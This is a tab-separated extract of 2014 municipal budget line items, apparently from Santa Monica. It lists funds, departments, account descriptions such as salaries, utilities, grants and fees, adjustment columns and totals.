12408	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
12409	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570070.0	TRANSFER-MEASURE V FUND	908.0	 Supplies and Expenses	2014	-915434.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-915434.0
12410	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2014	-150000.0	0	0	0	0	0	0.0	155000	0	0	0	0.0	5000.0
12411	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544910.0	TRANSIT STORE EXPENSES	866.0	 Supplies and Expenses	2014	1817.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1817.0
12412	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	12600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12600.0
12413	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	22397.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22397.0
12414	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2014	3915.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3915.0
12415	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2014	677.0	0	0	0	0	0	0.0	0	0	0	0	0.0	677.0
12416	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	57831.0	0	0	0	0	0	0.0	0	0	0	0	0.0	57831.0
12417	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2014	3998.0	0	0	0	0	1820	0.0	0	0	0	0	0.0	5818.0
12418	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2014	5535.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5535.0
12419	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2014	1025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1025.0
12420	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	404040.0	SAMOHI SR2S GRANT	610.0	Intergovernmental	2014	0.0	0	0	-814627	0	0	0.0	0	0	0	0	0.0	-814627.0
12421	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-11187.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11187.0
12422	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	912.0	0	0	0	0	0	250.0	0	0	0	0	0.0	1162.0
12423	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	28000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	28000.0
12424	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	2280.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2280.0
12425	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	344554.0	0	0	0	0	0	0.0	0	0	0	0	0.0	344554.0
12426	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2014	31000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31000.0
12427	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0	150	0.0	0	0	0	0	0.0	150.0
12428	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	3144.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3144.0
12429	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0	6241	0.0	0	0	0	0	0.0	6241.0
12430	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	2657047.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2657047.0
12431	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	41194.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41194.0
12432	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2014	3096.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3096.0
12433	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522610.0	EQUIPMENT RENTAL	808.0	 Supplies and Expenses	2014	3190.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3190.0
12434	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	900.0
12435	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	161000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	161000.0
12436	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	407490.0	PLAN CHECK FEES-LANDSCAPE&FORE	612.0	Charges for Service	2014	-123600.0	0	0	0	0	0	0.0	123600	0	0	0	0.0	0.0
12437	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2014	313.0	0	0	0	0	0	41.0	0	0	0	0	0.0	354.0
12438	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2014	22563.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22563.0
12439	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2014	16210.0	0	0	0	0	0	750.0	0	0	0	0	0.0	16960.0
12440	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2014	1368.0	0	0	0	0	0	50.0	0	0	0	0	0.0	1418.0
12441	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2014	57189.0	0	0	0	0	0	0.0	0	0	0	0	0.0	57189.0
12442	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	13036.0	0	0	0	0	0	3541.67	0	0	0	0	0.0	16577.67
12443	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	74757.0	0	0	0	0	1142	13420.8	0	0	0	0	0.0	89319.8
12444	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES	810.0	 Supplies and Expenses	2014	82000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	82000.0
12445	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	804.0	Salaries and Wages	2014	1277.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1277.0
12446	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	671.0	0	0	0	0	0	0.0	0	0	0	0	0.0	671.0
12447	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561118.0	STEP UP ON 2ND SNCTURY-PROP A	808.0	 Supplies and Expenses	2014	2600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2600.0
12448	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	1700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1700.0
12449	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	73973.0	0	0	0	0	0	-30822.08	0	0	0	0	0.0	43150.92
12450	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2014	11666.0	0	0	0	0	0	3750.0	0	0	0	0	0.0	15416.0
12451	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	3253.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3253.0
12452	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	6318.0	0	0	0	0	90	1208.96	0	0	0	0	0.0	7616.96
12453	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2014	114800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	114800.0
12454	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
12455	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	6150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6150.0
12456	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2014	1860.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1860.0
12457	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	408000.0	INTERFUND SERVICES-PUBLIC LAND	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-78409	0	0	0	0.0	-78409.0
12458	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	86795.0	0	0	0	0	0	0.0	0	0	0	0	0.0	86795.0
12459	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	127316.0	0	0	0	0	0	0.0	0	0	0	0	0.0	127316.0
12460	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	119240.0	0	0	0	0	0	0.0	0	0	0	0	0.0	119240.0
12461	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2014	41212.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41212.0
12462	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	497636.0	0	0	0	0	0	0.0	0	0	0	0	0.0	497636.0
12463	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		UNEMPLOYMENT	804.0	Salaries and Wages	2014	1796.0	0	0	0	0	19	0.0	0	0	0	0	0.0	1815.0
12464	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522990.0	STOCKROOM REPAIR PARTS & MATER	808.0	 Supplies and Expenses	2014	615000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	615000.0
12465	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	13402.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13402.0
12466	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTILITIES-WATER-CITY HALL	808.0	 Supplies and Expenses	2014	14050.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14050.0
12467	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	2798.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2798.0
12468	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	12753.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12753.0
12469	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	740.0	0	0	0	0	0	0.0	0	0	0	0	0.0	740.0
12470	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	38078.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38078.0
12471	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544140.0	STREET MATERIAL	808.0	 Supplies and Expenses	2014	293000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	293000.0
12472	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	6600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6600.0
12473	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	39411.0	0	0	0	0	0	0.0	0	0	0	0	0.0	39411.0
12474	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2014	7500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7500.0
12475	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533228.0	BLDG/STR MAINT-KEN EDWARDS	808.0	 Supplies and Expenses	2014	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
12476	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	5670.0	0	0	0	0	410	0.0	0	0	0	0	0.0	6080.0
12477	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	63585.0	0	0	0	0	0	0.0	0	0	0	0	0.0	63585.0
12478	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	15953.0	0	0	0	0	0	296.34	0	0	0	0	0.0	16249.34
12479	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2014	6983.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6983.0
12480	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	37556.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37556.0
12481	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	2193.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2193.0
12482	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2014	216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	216.0
12483	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	0.0	0	0	0	0	0	1087.0	0	0	0	0	0.0	1087.0
12484	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2014	550.0	0	0	0	0	0	0.0	0	0	0	0	0.0	550.0
12485	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	68813.0	0	0	0	0	16915	0.0	0	0	0	0	0.0	85728.0
12486	B1	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577762.0	CDBG REIMB-PUBLIC WORKS		 Supplies and Expenses	2014	65000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	65000.0
12487	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511920.0	UNIFORM / TOOL ALLOWANCE	816.0	Salaries and Wages	2014	600.0	0	0	0	0	120	0.0	0	0	0	0	0.0	720.0
12488	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	566024.0	0	0	0	0	0	0.0	0	0	0	0	0.0	566024.0
12489	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544014.0	FILTER MEDIA REPLACEMENT	808.0	 Supplies and Expenses	2014	1211280.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1211280.0
12490	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544016.0	ANALYTICAL INSTR CONSUMABLES	808.0	 Supplies and Expenses	2014	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
12491	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544013.0	CARTRIDGE FILTER REPLACEMENT	808.0	 Supplies and Expenses	2014	53993.0	0	0	0	0	0	0.0	0	0	0	0	0.0	53993.0
12492	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544014.0	FILTER MEDIA REPLACEMENT	808.0	 Supplies and Expenses	2014	51819.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51819.0
12493	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2014	840.0	0	0	0	0	0	0.0	0	0	0	0	0.0	840.0
12494	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	725.0	0	0	0	0	0	0.0	0	0	0	0	0.0	725.0
12495	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544193.0	CLEANING SUPPLIES		 Supplies and Expenses	2014	150000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	150000.0
12496	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401950.0	BLANKET UTILITY PERMITS	612.0	Charges for Service	2014	-33000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-33000.0
12497	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404690.0	415 PCH - PARKING	612.0	Charges for Service	2014	-438250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-438250.0
12498	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2014	-246355.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-246355.0
12499	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2014	-38020.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-38020.0
12500	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2014	77872.0	0	0	0	0	0	0.0	0	0	0	0	0.0	77872.0
12501	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	325.0	0	0	0	0	0	0.0	0	0	0	0	0.0	325.0
12502	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	810.0	 Supplies and Expenses	2014	3467.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3467.0
12503	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545020.0	CULTURAL PROGRAMMING	810.0	 Supplies and Expenses	2014	100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100000.0
12504	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	5993.0	0	0	0	0	84	988.43	0	0	0	0	0.0	7065.43
12505	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2014	315712.0	0	0	0	0	0	0.0	0	0	0	0	0.0	315712.0
12506	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533214.0	FAC MAINT-REPAIRS-HIST SAVINGS	810.0	 Supplies and Expenses	2014	126000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	126000.0
12507	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523010.0	ENVIRONMENTAL SERVICES FEE	808.0	 Supplies and Expenses	2014	1270.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1270.0
12508	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	1860.0	0	0	0	-930	0	5000.0	0	0	0	0	0.0	5930.0
12509	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	100000.0	0	0	0	0	0.0	100000.0
12510	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555364.0	13 STATE HOMELAND SEC GRANT	804.0	 Supplies and Expenses	2014	0.0	0	0	0	200000	0	0.0	0	0	0	0	0.0	200000.0
12511	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	578391.0	BIKE VALET - PROP A  LOCAL RET	808.0	 Supplies and Expenses	2014	40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40000.0
12512	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522120.0	UTILITIES - NATURAL GAS	806.0	 Supplies and Expenses	2014	5500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5500.0
12513	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	0.0	0	0	0	2250	0	0.0	0	0	0	0	0.0	2250.0
12514	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	5000	0	0.0	0	0	0	0	0.0	5000.0
12515	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579013.0	DISCRET-WESTSIDE BALLET	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	5000	0	0	0.0	5000.0
12516	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	570350.0	LOCAL COASTAL PROGRAM GRANT	816.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	225000	0	0	0	0.0	225000.0
12517	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	409220.0	LOCAL COASTAL PROGRAM GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-225000	0	0	0	0.0	-225000.0
12518	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409002.0	CHILDCARE-OCTOBER	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-35467	0	0	0	0.0	-35467.0
12519	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409006.0	CHILDCARE-FEBRUARY	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-31130	0	0	0	0.0	-31130.0
12520	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409007.0	CHILDCARE-MARCH	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-31130	0	0	0	0.0	-31130.0
12521	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409009.0	CHILDCARE-MAY	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-29923	0	0	0	0.0	-29923.0
12522	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409023.0	ENRICHMENT-SPRING	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-86408	0	0	0	0.0	-86408.0
12523	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409032.0	CAMP SM-SPRING	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-8733	0	0	0	0.0	-8733.0
12524	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409041.0	ELEM SPORTS-FALL	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-54358	0	0	0	0.0	-54358.0
12525	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409063.0	SMSE-SUMMER	612.0	Charges for Service	2014	0.0	0	0	0	0	0	0.0	-43669	0	0	0	0.0	-43669.0
12526	B1	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	23255.0	23255.0
12527	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
12528	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	8364.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8364.0
